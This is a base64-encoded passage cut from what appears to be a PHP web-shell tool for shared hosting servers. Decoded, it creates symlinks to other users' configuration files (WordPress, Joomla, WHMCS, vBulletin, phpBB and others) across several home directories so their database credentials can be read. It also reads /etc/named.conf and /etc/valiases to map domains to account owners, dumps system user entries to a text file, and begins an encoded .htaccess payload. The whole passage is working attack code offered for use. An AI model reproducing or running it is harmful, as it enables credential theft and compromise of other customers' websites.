bi4nL3B1YmxpY19odG1sL21rX2NvbmYucGhwJywkcGRvbWFpbi4nfn5tay1wb3J0YWxlMS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTMvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fjEyLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3NldHRpbmdzLnBocCcsJHBkb21haW4uJ35+U21mLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2Z1bmN0aW9ucy5waHAnLCRwZG9tYWluLid+fnBocGJiMy50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTMvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJHBkb21haW4uJ35+aW5maW5pdHkudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU0LycuJHVzZXJuLicvcHVibGljX2h0bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+dkJ1bGxldGluMS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTQvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9jb25maWcucGhwJywkcGRvbWFpbi4nfn52QnVsbGV0aW4yLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNC8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fnZCdWxsZXRpbjMudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU0LycuJHVzZXJuLicvcHVibGljX2h0bWwvY2MvaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+dkJ1bGxldGluNC50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTQvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywkcGRvbWFpbi4nfn5QaHBiYjEudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU0LycuJHVzZXJuLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+UGhwYmIyLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNC8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAnLCRwZG9tYWluLid+fldvcmRwcmVzczEudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU0LycuJHVzZXJuLicvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJywkcGRvbWFpbi4nfn5Xb3JkcHJlc3MyLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNC8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5Kb29tbGExLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNC8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2Jsb2cvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fkpvb21sYTIudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU0LycuJHVzZXJuLicvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5Kb29tbGEzLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNC8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htMS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTQvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG0yLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNC8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3N1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTMudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU0LycuJHVzZXJuLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG00LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNC8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG01LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNC8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2JpbGxpbmcvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTYudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU0LycuJHVzZXJuLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htNy50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTQvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC93aG1jcy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htOC50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTQvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9vcmRlci9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htOS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTQvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25mLnBocCcsJHBkb21haW4uJ35+NS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTQvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25maWcucGhwJywkcGRvbWFpbi4nfn40LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNC8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NvbmZfZ2xvYmFsLnBocCcsJHBkb21haW4uJ35+aW52aXNpby50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTQvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJHBkb21haW4uJ35+Ny50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTQvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jb25uZWN0LnBocCcsJHBkb21haW4uJ35+OC50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTQvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9ta19jb25mLnBocCcsJHBkb21haW4uJ35+bWstcG9ydGFsZTEudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU0LycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZS9jb25maWcucGhwJywkcGRvbWFpbi4nfn4xMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTQvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9zZXR0aW5ncy5waHAnLCRwZG9tYWluLid+flNtZi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTQvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9mdW5jdGlvbnMucGhwJywkcGRvbWFpbi4nfn5waHBiYjMudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU0LycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRwZG9tYWluLid+fmluZmluaXR5LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fnZCdWxsZXRpbjEudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU1LycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+dkJ1bGxldGluMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywkcGRvbWFpbi4nfn52QnVsbGV0aW4zLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NjL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fnZCdWxsZXRpbjQudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU1LycuJHVzZXJuLicvcHVibGljX2h0bWwvY29uZmlnLnBocCcsJHBkb21haW4uJ35+UGhwYmIxLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRwZG9tYWluLid+flBocGJiMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywkcGRvbWFpbi4nfn5Xb3JkcHJlc3MxLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCcsJHBkb21haW4uJ35+V29yZHByZXNzMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+Sm9vbWxhMS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9ibG9nL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5Kb29tbGEyLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+Sm9vbWxhMy50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC93aG0vY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTEudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU1LycuJHVzZXJuLicvcHVibGljX2h0bWwvd2htYy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG0zLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htNC50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9iaWxsaW5ncy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htNS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9iaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG02LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NsaWVudHMvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTcudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU1LycuJHVzZXJuLicvcHVibGljX2h0bWwvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTgudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU1LycuJHVzZXJuLicvcHVibGljX2h0bWwvb3JkZXIvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTkudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU1LycuJHVzZXJuLicvcHVibGljX2h0bWwvYWRtaW4vY29uZi5waHAnLCRwZG9tYWluLid+fjUudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU1LycuJHVzZXJuLicvcHVibGljX2h0bWwvYWRtaW4vY29uZmlnLnBocCcsJHBkb21haW4uJ35+NC50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jb25mX2dsb2JhbC5waHAnLCRwZG9tYWluLid+fmludmlzaW8udHh0Jyk7CgkJc3ltbGluaygnL2hvbWU1LycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRwZG9tYWluLid+fjcudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU1LycuJHVzZXJuLicvcHVibGljX2h0bWwvY29ubmVjdC5waHAnLCRwZG9tYWluLid+fjgudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU1LycuJHVzZXJuLicvcHVibGljX2h0bWwvbWtfY29uZi5waHAnLCRwZG9tYWluLid+fm1rLXBvcnRhbGUxLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2luY2x1ZGUvY29uZmlnLnBocCcsJHBkb21haW4uJ35+MTIudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU1LycuJHVzZXJuLicvcHVibGljX2h0bWwvc2V0dGluZ3MucGhwJywkcGRvbWFpbi4nfn5TbWYudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU1LycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZXMvZnVuY3Rpb25zLnBocCcsJHBkb21haW4uJ35+cGhwYmIzLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywkcGRvbWFpbi4nfn5pbmZpbml0eS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTYvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC92Yi9pbmNsdWRlcy9jb25maWcucGhwJywkcGRvbWFpbi4nfn52QnVsbGV0aW4xLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fnZCdWxsZXRpbjIudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU2LycuJHVzZXJuLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+dkJ1bGxldGluMy50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTYvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jYy9pbmNsdWRlcy9jb25maWcucGhwJywkcGRvbWFpbi4nfn52QnVsbGV0aW40LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NvbmZpZy5waHAnLCRwZG9tYWluLid+flBocGJiMS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTYvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywkcGRvbWFpbi4nfn5QaHBiYjIudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU2LycuJHVzZXJuLicvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCcsJHBkb21haW4uJ35+V29yZHByZXNzMS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTYvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCRwZG9tYWluLid+fldvcmRwcmVzczIudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU2LycuJHVzZXJuLicvcHVibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fkpvb21sYTEudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU2LycuJHVzZXJuLicvcHVibGljX2h0bWwvYmxvZy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+Sm9vbWxhMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTYvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fkpvb21sYTMudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU2LycuJHVzZXJuLicvcHVibGljX2h0bWwvd2htL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG0xLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3dobWMvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTIudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU2LycuJHVzZXJuLicvcHVibGljX2h0bWwvc3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htMy50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTYvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jbGllbnQvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTQudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU2LycuJHVzZXJuLicvcHVibGljX2h0bWwvYmlsbGluZ3MvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTUudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU2LycuJHVzZXJuLicvcHVibGljX2h0bWwvYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htNi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTYvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jbGllbnRzL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG03LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG04LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL29yZGVyL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG05LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2FkbWluL2NvbmYucGhwJywkcGRvbWFpbi4nfn41LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2FkbWluL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fjQudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU2LycuJHVzZXJuLicvcHVibGljX2h0bWwvY29uZl9nbG9iYWwucGhwJywkcGRvbWFpbi4nfn5pbnZpc2lvLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywkcGRvbWFpbi4nfn43LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2Nvbm5lY3QucGhwJywkcGRvbWFpbi4nfn44LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL21rX2NvbmYucGhwJywkcGRvbWFpbi4nfn5tay1wb3J0YWxlMS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTYvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fjEyLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3NldHRpbmdzLnBocCcsJHBkb21haW4uJ35+U21mLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2Z1bmN0aW9ucy5waHAnLCRwZG9tYWluLid+fnBocGJiMy50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTYvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJHBkb21haW4uJ35+aW5maW5pdHkudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+dkJ1bGxldGluMS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9jb25maWcucGhwJywkcGRvbWFpbi4nfn52QnVsbGV0aW4yLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fnZCdWxsZXRpbjMudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvY2MvaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+dkJ1bGxldGluNC50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywkcGRvbWFpbi4nfn5QaHBiYjEudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+UGhwYmIyLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAnLCRwZG9tYWluLid+fldvcmRwcmVzczEudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJywkcGRvbWFpbi4nfn5Xb3JkcHJlc3MyLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5Kb29tbGExLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2Jsb2cvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fkpvb21sYTIudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5Kb29tbGEzLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htMS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG0yLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3N1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTMudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG00LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG01LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2JpbGxpbmcvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTYudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htNy50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC93aG1jcy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htOC50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9vcmRlci9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htOS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25mLnBocCcsJHBkb21haW4uJ35+NS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25maWcucGhwJywkcGRvbWFpbi4nfn40LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NvbmZfZ2xvYmFsLnBocCcsJHBkb21haW4uJ35+aW52aXNpby50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJHBkb21haW4uJ35+Ny50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jb25uZWN0LnBocCcsJHBkb21haW4uJ35+OC50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9ta19jb25mLnBocCcsJHBkb21haW4uJ35+bWstcG9ydGFsZTEudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZS9jb25maWcucGhwJywkcGRvbWFpbi4nfn4xMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9zZXR0aW5ncy5waHAnLCRwZG9tYWluLid+flNtZi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9mdW5jdGlvbnMucGhwJywkcGRvbWFpbi4nfn5waHBiYjMudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRwZG9tYWluLid+fmluZmluaXR5LnR4dCcpOwoJfQoKCQkJCSRkMG1haW5zID0gQGZpbGUoIi9ldGMvbmFtZWQuY29uZiIpOwoJCQoJCQkJaWYoJGQwbWFpbnMpCgkJCQl7CgkJCQkJbWtkaXIoJGZuKTsKCQkJCQljaGRpcigkZm4pOwoJCQkJCQkJCQkJCgkJCQkJZm9yZWFjaCgkZDBtYWlucyBhcyAkZDBtYWluKQoJCQkJCXsKCQkJCQkJaWYoZXJlZ2koInpvbmUiLCRkMG1haW4pKQoJCQkJCQl7CgkJCQkJCQlwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsICRkMG1haW4sICRkb21haW5zKTsKCQkJCQkJCWZsdXNoKCk7CgkJCQkJCQkJCgkJCQkJCQlpZihzdHJsZW4odHJpbSgkZG9tYWluc1sxXVswXSkpID4gMikKCQkJCQkJCXsgCgkJCQkJCQkJJHVzZXIgPSBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyIuJGRvbWFpbnNbMV1bMF0pKTsKCQkJCQkJCQkKCQkJCQkJCQlzeW1sKCR1c2VyWyduYW1lJ10sJGRvbWFpbnNbMV1bMF0pOwkJCQkJCgkJCQkJCQl9CgkJCQkJCX0KCQkJCQl9CgkJCQkJZWNobyAiPGNlbnRlcj48Zm9udCBjb2xvcj1saW1lIHNpemU9Mz5bIERvbmUgXTwvZm9udD48L2NlbnRlcj4iOwoJCQkJCWVjaG8gIjxicj48Y2VudGVyPjxhIGhyZWY9JGZuLyB0YXJnZXQ9X2JsYW5rPjxmb250IHNpemU9MyBjb2xvcj0jMDA5OTAwPnwgR28gSGVyZSB8PC9mb250PjwvYT48L2NlbnRlcj4iOyAKCQkJCX0KCQkJCWVsc2UKCQkJCXsKCQkJCQlta2RpcigkZm4pOwoJCQkJCWNoZGlyKCRmbik7CgkJCQkJJHRlbXAgPSAiIjsKCQkJCQkkdmFsMSA9IDA7CgkJCQkJJHZhbDIgPSAxMDAwOwoJCQkJCWZvcig7JHZhbDEgPD0gJHZhbDI7JHZhbDErKykgCgkJCQkJewoJCQkJCQkkdWlkID0gQHBvc2l4X2dldHB3dWlkKCR2YWwxKTsKCQkJCQkJaWYgKCR1aWQpCgkJCQkJCQkkdGVtcCAuPSBqb2luKCc6JywkdWlkKS4iXG4iOwoJCQkJCSB9CgkJCQkJIGVjaG8gJzxici8+JzsKCQkJCQkgJHRlbXAgPSB0cmltKCR0ZW1wKTsKCQkJCQkgCgkJCQkJICRmaWxlNSA9IGZvcGVuKCJ0ZXN0LnR4dCIsInciKTsKCQkJCQkgZnB1dHMoJGZpbGU1LCR0ZW1wKTsKCQkJCQkgZmNsb3NlKCRmaWxlNSk7CgokaHRhY2Nlc3MgPQonVDNCMGFXOXVjeUJoYkd3